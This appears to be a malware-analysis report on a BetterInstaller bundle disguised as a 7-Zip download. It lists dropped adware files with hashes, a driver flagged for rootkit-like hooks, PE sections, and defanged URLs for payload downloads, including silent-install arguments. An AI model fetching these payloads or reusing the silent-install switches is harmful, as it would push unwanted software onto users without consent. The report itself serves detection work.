8e3b0dcaed769679a26a92f71dac1a4b	c:\Program Files (x86)\ShopperPro\Updater.exe
7b538383623b61c01dc8c9db2f27192a	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d	c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
d3fd726fd5f19f37ae5a561b3a3b28c6	c:\Program Files\Common Files\ShopperPro\spbia.exe
fef9f8a6b3cd9f5c23d8ef4b36938eb4	c:\Program Files\Common Files\ShopperPro\spbici32.dll
cb73a78bf8876aea22b836099068c3bc	c:\Program Files\Common Files\ShopperPro\spbici64.dll
6d40ed1c0c5049f1662622a54afb0f30	c:\Program Files\Common Files\ShopperPro\spbii32.exe
0692e14dec95f0f8365fa3a96bc0186e	c:\Program Files\Common Files\ShopperPro\spbii64.exe
744b288f75921ae5ff667c4ab4f92537	c:\Program Files\Common Files\ShopperPro\spbiu.exe
68d604ba2f1b937f43e8a90a1de2698b	c:\Program Files\Common Files\ShopperPro\spbiw.sys
bdd3478250c79849238bd21f30ea6bea	c:\ProgramData\ShopperPro\ShopperPro.dll
fe420a1947882f22eda6ebe85c30694c	c:\ProgramData\ShopperPro\ShopperPro64.dll
bdd3478250c79849238bd21f30ea6bea	c:\Users\All Users\ShopperPro\ShopperPro.dll
fe420a1947882f22eda6ebe85c30694c	c:\Users\All Users\ShopperPro\ShopperPro64.dll
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23691\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23691\ins_postInst.exe
7593be8c6ebf14ceead30f14004daf0c	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll
4c8db565428369aa2b3e4e706d179175	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainUpdateVer.exe
b0ffc541f6e32448d0243836c1d728c4	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\prfo.dll
1ff24853f5ea4012225c2297d38afb07	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe
557782f6f6eeb160252bcd06b64687f7	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe
c46e8565e1f60ad1bd11713e4cf44ce6	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\sfx.exe
aba069326327747d739be51094cd31c2	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe
b03883ee5b91e4f798851c6ddfa1ec26	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\6C4.tmp
b3fdf6e7b0aecd48ca7e4921773fb606	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_2124\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_2124\ins_yta.exe
60f7c4febb18abd91df6cbedf9b97d2b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26902\ins_shopperpro.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
92c732231b7909edeff180174c6ef499	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
5bb596e1d918ce55ecadc1476eb5ec8f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\nsProcess.dll
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\nsProcess.dll
aba069326327747d739be51094cd31c2	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
06eb2c9292bf7ccc151dc8cdbcbe8d7e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
a1460a97eed5061e91bb0d5c39077a35	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.95009	38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 798
3fe02ef6a2ede61ce4dac40da7715dcd
fa2cbc2d2aea425a49fb29d51d9bcc33
2dfade89368b6de33f6a0be79203795a
f17c45801a57bba4b005ec384a441bd9
ca1cc94fc69923c006af323e68510814
2c99e41b345ddc8664db772a2e09f5a4
b622b02e97d3aa7cce467ccc7aee497d
61c1e9ce078e3e20f171532f2a80443c
f216e08c21a059a5332cb453736239c1
edbdc1240b868319cb87020396a2902b
2e390f465d8ecd1f67effb5eaf5d5aa7
4371a8a2baf5c745419dab3ef6778408
39c10005050c097876cd502d9c199a98
f7f7c90ea56c412b57acb7a97b768a60
a842781804dd193d92651195498cf38d
62b3b330eec1cc89e42dec1a05bb40c1
6fc8e8c2bc2c846f782044f2c2c7d5d6
24aa6f4a1bb067fd634e81a1ed0a230d
465596894850c9d20a1329423f99c5ad
d9f6b0d5a1cc2d7203eaa0a17bb360b5
4626edaeccfd321bc891ab7a4ae942b7
54d328632b212c35d10658a3cddaba7d
803a105ec85c61ff44bd792f6b8a96ee
c7f8e510962c4ed152facd2cc2006dab
b9433a9a1bc3c3792bf814b730486b5f

URLs

URL	IP
hxxp://installer.betterinstaller.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d2ly1rbvrtv0k6.cloudfront.net/images/Tokyo/tokyo_sprite_full.png
hxxp://d2ly1rbvrtv0k6.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d2ly1rbvrtv0k6.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html
hxxp://d2ly1rbvrtv0k6.cloudfront.net/sponsored/pricefountain/eula-pricefountain.html
hxxp://d2ly1rbvrtv0k6.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html
hxxp://d2ly1rbvrtv0k6.cloudfront.net//images/Tokyo/tokyo_default_logo.png
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://mirror.frogdownload.com/software_files/7_zip/9_20/7z920.exe
hxxp://d1p2zvpeuweyai.cloudfront.net/sponsored/pricefountain/pricefountain.png
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=828509355&utmhn=bi.bisrv.com&utmhid=1929844214&utmr=-&utmp=Installer_Init&utmht=1420623113968&utmac=UA-31676879-1&utmcc=__utma=1.1098259893.1420623114.1420623114.1420623114.1;+__utmz=1.1420623114.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1864963167&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.08074136007073995
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=1&index_in_screen=1&index_in_session=1&0.31860865100654706
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.9210836118111476
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=2&index_in_screen=1&index_in_session=2&0.33988864944236435
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=3&index_in_screen=1&index_in_session=3&display_height=137&0.3536755147517152
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=3&index_in_screen=1&index_in_session=3&0.015374429884770502
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=4&index_in_screen=1&index_in_session=4&display_height=50&0.4793697933256762
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=4&index_in_screen=1&index_in_session=4&0.28091281110117694
hxxp://installer.betterinstaller.com/downloader/network_adworkmedia_1/7zipqjkz/c6f37ce09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f37ce09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[pricefountain][exec_args]=/muse /partner=somopf &offers[pricefountain][offer_indexes][slot_number]=3&offers[pricefountain][offer_indexes][index_in_screen]=1&offers[pricefountain][offer_indexes][index_in_session]=3&offers[mystartsearch][exec_args]=-silence -ptid=smt /bi_sponsored_sub_process /run_bi&offers[mystartsearch][offer_indexes][slot_number]=4&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=4&uid_orig=554f0c32df4546428c4cd4ba3636f283&uid=c6f37ce09f7b3c4993073c407a485e5f&tokyo_csrf_key=82d780befb671d357f708e1175f94c3b&tokyo_csrf_timestamp=1420623184&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=7zipqjkz&country=UA&hostBrowser=ff&unique_id=ef16605e62d299cd4043233eed25bb98
hxxp://installer.betterinstaller.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[pricefountain][exec_args]=/muse /partner=somopf &offers[pricefountain][offer_indexes][slot_number]=3&offers[pricefountain][offer_indexes][index_in_screen]=1&offers[pricefountain][offer_indexes][index_in_session]=3&offers[mystartsearch][exec_args]=-silence -ptid=smt /bi_sponsored_sub_process &offers[mystartsearch][offer_indexes][slot_number]=4&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=4&uid_orig=554f0c32df4546428c4cd4ba3636f283&uid=fc5adcef92544d4d9ad600d2a201e613&tokyo_csrf_key=ceeaaabdc5318b9ac966504399512f5d&tokyo_csrf_timestamp=1420623184&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=7zipqjkz&country=UA&hostBrowser=ff&unique_id=ef16605e62d299cd4043233eed25bb98
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.6772226359574376
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.4373879245528029
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.6734895938704455
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.9934186801815898
hxxp://dsba220j59f4d.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.47.56
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.47.163
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d2lci0er4bmjg2.cloudfront.net/mirror/pricefountain/default/setup.exe
hxxp://www.girlzhangwei.com/home/smt_mystartsearch.exe
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A3ANzFv7fWAOe2V62UQmji9FH2PLJakfBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaqt W6aVz1gJ0oU leMNxNaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=4mC0vXGWFtoJz2TpdH2qbGlBVeUjsyYpCQmjH2nHWYlAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A3ANzFv7fWAOe2V62UQmji9FH2PLJakfBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaqt W6aVz1gJ0oU leMNxNaoPZj94HyT6LOwEGQvh2zV2TxY7/sL 44G r 3F6T7xRE3XrPaz9TTBvRP7Uc/24zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58=
hxxp://d2ly1rbvrtv0k6.cloudfront.net/install.ashx?e=/k6kR j50tpPNjxRBLtb42Dbd/0vivstHBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atUjq2IY Ol30CzS9Fg9Lumbxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UpTJ2ibhTIXvL Evyupn5FoSAG857z6vSKwJgNH5xpU/aXqIIXH13rtMsjFOaa8h2Q6uT4PKaqdA1NSBLkxYXjRGH92XQHP1g8svjkMkOLYxtnlzuV8QGbxOn8Zt7Uvfxo7rTqA4tGAvJ3g/46853GMtCsCrExr/d46J8ZVZMavv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22Ofxdive Por/pn14isD25UFAfTvOM0UfKA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va9mPCGseo97LkKspGXq5ZiVjgb6v7cXpPuImJZrYkhmTozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8dH6HwkFDyPU4tademT9Hka5X92fm477Sktd6ZKA3e4Mb1r8MqvqrE=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ==
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.003470828578251539
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLGd3dAaPTGEjL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTmzGZvvKsaXqK
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va m0xPwkWqeELO4NVqCHrKTs IILilpWF3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig==
hxxp://d2ly1rbvrtv0k6.cloudfront.net/ytai.exe
hxxp://d2ly1rbvrtv0k6.cloudfront.net/yta33_sh_full.exe
